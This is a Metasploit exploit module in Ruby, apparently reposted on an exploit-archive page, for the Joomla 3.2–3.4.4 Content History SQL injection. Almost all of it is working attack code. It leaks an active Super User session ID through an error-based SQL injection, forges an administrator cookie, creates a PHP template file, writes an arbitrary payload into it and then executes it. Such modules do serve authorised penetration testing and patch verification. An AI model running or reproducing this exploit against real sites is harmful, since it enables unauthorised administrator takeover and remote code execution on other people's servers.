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Joomla Content History SQL Injection Remote Code Execution

Posted on 21 November 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info={})
 super(update_info(info,
 'Name' => "Joomla Content History SQLi Remote Code Execution",
 'Description' => %q{
 This module exploits a SQL injection vulnerability found in Joomla versions
 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
 component in the core of Joomla. Triggering the SQL injection makes it possible
 to retrieve active Super User sessions. The cookie can be used to login to the
 Joomla administrator backend. By creating a new template file containing our
 payload, remote code execution is made possible.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Asaf Orpani', # Vulnerability discovery
 'xistence <xistence[at]0x90.nl>' # Metasploit module
 ],
 'References' =>
 [
 [ 'CVE', '2015-7857' ], # Admin session hijacking
 [ 'CVE', '2015-7297' ], # SQLi
 [ 'CVE', '2015-7857' ], # SQLi
 [ 'CVE', '2015-7858' ], # SQLi
 [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
 [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]
 ],
 'Payload' =>
 {
 'DisableNops' => true,
 # Arbitrary big number. The payload gets sent as POST data, so
 # really it's unlimited
 'Space' => 262144, # 256k
 },
 'Platform' => ['php'],
 'Arch' => ARCH_PHP,
 'Targets' =>
 [
 [ 'Joomla 3.x <= 3.4.4', {} ]
 ],
 'Privileged' => false,
 'DisclosureDate' => "Oct 23 2015",
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The base path to Joomla', '/'])
 ], self.class)

 end

 def check

 # Request using a non-existing table
 res = sqli(rand_text_alphanumeric(rand(10)+6))

 if res && res.body =~ /`(.*)_ucm_history`/
 return Exploit::CheckCode::Vulnerable
 end
 return Exploit::CheckCode::Safe

 end

 def sqli( tableprefix )

 # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
 # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
 # This way we make sure that's excluded and we only get real admin sessions.

 sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"

 # Retrieve cookies
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, "index.php"),
 'vars_get' => {
 'option' => 'com_contenthistory',
 'view' => 'history',
 'list[ordering]' => '',
 'item_id' => '1',
 'type_id' => '1',
 'list[select]' => sql
 }
 })

 return res

 end

 def exploit

 # Request using a non-existing table first, to retrieve the table prefix
 res = sqli(rand_text_alphanumeric(rand(10)+6))

 if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
 table_prefix = $1
 print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
 end

 # Retrieve the admin session using our retrieved table prefix
 res = sqli("#{table_prefix}_")

 if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/
 auth_cookie_part = $1[0...-1]
 print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
 else
 fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
 end

 # Retrieve cookies
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, "administrator", "index.php")
 })

 if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
 cookie_begin = $1
 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
 end

 # Modify cookie to authenticated admin
 auth_cookie = cookie_begin
 auth_cookie << "="
 auth_cookie << auth_cookie_part
 auth_cookie << ";"

 # Authenticated session
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
 'cookie' => auth_cookie
 })

 if res && res.code == 200 && res.body =~ /Administration - Control Panel/
 print_status("#{peer} - Successfully authenticated as Administrator")
 else
 fail_with(Failure::Unknown, "#{peer} - Session failure")
 end

 # Retrieve template view
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
 'cookie' => auth_cookie,
 'vars_get' => {
 'option' => 'com_templates',
 'view' => 'templates'
 }
 })

 # We try to retrieve and store the first template found
 if res && res.code == 200 && res.body =~ //administrator/index.php?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
 template_id = $1
 file_id = $2
 else
 fail_with(Failure::Unknown, "Unable to retrieve template")
 end

 filename = rand_text_alphanumeric(rand(10)+6)

 # Create file
 print_status("#{peer} - Creating file [ #{filename}.php ]")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
 'cookie' => auth_cookie,
 'vars_get' => {
 'option' => 'com_templates',
 'task' => 'template.createFile',
 'id' => template_id,
 'file' => file_id,
 },
 'vars_post' => {
 'type' => 'php',
 'name' => filename
 }
 })

 # Grab token
 if res && res.code == 303 && res.headers['Location']
 location = res.headers['Location']
 print_status("#{peer} - Following redirect to [ #{location} ]")
 res = send_request_cgi(
 'uri' => location,
 'method' => 'GET',
 'cookie' => auth_cookie
 )

 # Retrieving template token
 if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1">/
 token = $1
 print_status("#{peer} - Token [ #{token} ] retrieved")
 else
 fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
 end

 if res && res.code == 200 && res.body =~ /(/templates/.*/)template_preview.png/
 template_path = $1
 print_status("#{peer} - Template path [ #{template_path} ] retrieved")
 else
 fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
 end

 else
 fail_with(Failure::Unknown, "#{peer} - Creating file failed")
 end

 filename_base64 = Rex::Text.encode_base64("/#{filename}.php")

 # Inject payload data into file
 print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
 'cookie' => auth_cookie,
 'vars_get' => {
 'option' => 'com_templates',
 'view' => 'template',
 'id' => template_id,
 'file' => filename_base64,
 },
 'vars_post' => {
 'jform[source]' => payload.encoded,
 'task' => 'template.apply',
 token => '1',
 'jform[extension_id]' => template_id,
 'jform[filename]' => "/#{filename}.php"
 }
 })

 if res && res.code == 303 && res.headers['Location'] =~ //administrator/index.php?option=com_templates&view=template&id=#{template_id}&file=/
 print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
 end

 # Request payload
 register_files_for_cleanup("#{filename}.php")
 print_status("#{peer} - Executing payload")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
 'cookie' => auth_cookie
 })

 end

end

 

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